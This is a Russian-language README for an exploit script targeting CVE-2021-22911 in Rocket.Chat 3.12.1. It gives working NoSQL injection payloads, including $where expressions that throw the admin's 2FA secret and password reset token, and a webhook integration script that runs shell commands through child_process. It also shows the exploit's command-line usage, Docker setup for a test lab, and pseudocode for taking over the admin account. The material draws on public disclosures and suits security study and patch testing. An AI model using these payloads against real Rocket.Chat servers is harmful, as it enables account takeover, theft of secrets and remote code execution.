CVE-2021-22911

Слепая NoSQL-инъекция без аутентификации, приводящая к удаленному выполнению кода в Rocket Chat 3.12.1

• Метод getPasswordPolicy уязвим к NoSQL-инъекциям и не требует аутентификации/авторизации. Он может быть использован для захвата учетных записей путем утечки токенов сброса пароля. Захват учетной записи администратора приводит к удаленному выполнению кода.

Пояснение

1. Захват учетной записи пользователя (без аутентификации)

• Существует NoSQL-инъекция в конечной точке getPasswordPolicy в параметре token сброса пароля, который принимает JSON-объект, позволяющий использовать оператор $regex. Мы используем его для выполнения слепой NoSQL-инъекции для получения токена сброса.

2. Повышение привилегий до администратора (аутентифицировано)

• Скорее всего, учетная запись администратора защищена двухфакторной аутентификацией (2FA). Поэтому даже если мы изменим пароль администратора через (1), при входе в систему будет запрошен код 2FA.

• Конечная точка API users.list принимает параметр запроса, который уязвим к NoSQL-инъекции. Мы также можем извлекать данные, вызывая ошибку.

• Мы выполняем следующий запрос, чтобы получить секрет 2FA администратора: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

• Затем мы просто выполняем (1) для сброса пароля администратора и используем секрет 2FA для генерации кода, который можно использовать для входа.

• Обновлено: Вы также можете получить токен сброса тем же способом, что и секрет 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

3. Удаленное выполнение кода (аутентифицировано - администратор)

• Rocket.Chat имеет функцию под названием Integrations, которая позволяет создавать входящие и исходящие веб-хуки. С этими веб-хуками могут быть связаны скрипты, которые выполняются при срабатывании веб-хука.
• Мы создаем интеграцию со следующим скриптом:

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');

• Затем мы просто запускаем веб-хук, чтобы получить RCE :)

Использование

• Вам понадобится электронная почта пользователя с низкими привилегиями, у которого не настроена 2FA. ( -u )
• Вам также понадобится знать электронную почту администратора. Это не проблема, если администратор защищен 2FA. ( -a )

python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Окружение

• Протестировано на Rocket Chat 3.12.1
• Сборка собственной тестовой среды с помощью Docker:

docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

• Включите политику паролей
• Включите 2FA для администратора
• Зарегистрируйте обычного пользователя.

ПРИМЕЧАНИЕ: Если вы не хотите, чтобы администратор был защищен 2FA, вы можете сделать следующее.

1. Отправьте письмо о забытом пароле
2. Получите токен сброса для администратора
3. Измените пароль с помощью полученного токена сброса

# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Благодарности

• https://hackerone.com/reports/1130721 (источник Sonar)
• https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

• https://www.exploit-db.com/exploits/49960 ( v1 )
• https://www.exploit-db.com/exploits/50108 ( v2 )